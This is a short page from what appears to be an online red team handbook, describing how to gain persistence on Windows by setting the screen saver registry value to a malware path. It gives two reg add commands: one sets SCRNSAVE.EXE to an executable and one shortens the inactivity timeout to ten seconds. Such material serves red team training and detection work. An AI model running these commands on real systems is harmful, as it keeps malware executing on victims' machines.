> For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/screen-savers.md).

# Screen Savers

Screen Savers are triggered by user inactivity. We can set these screensavers to run our malware after a certain timeframe of inactivity to achieve persistence.&#x20;

To do this, issue the following command:

```
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "c:\exec" /f
```

To configure the time period of user inactivity until our screen saver launches(in seconds)

```
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "10" /f
```
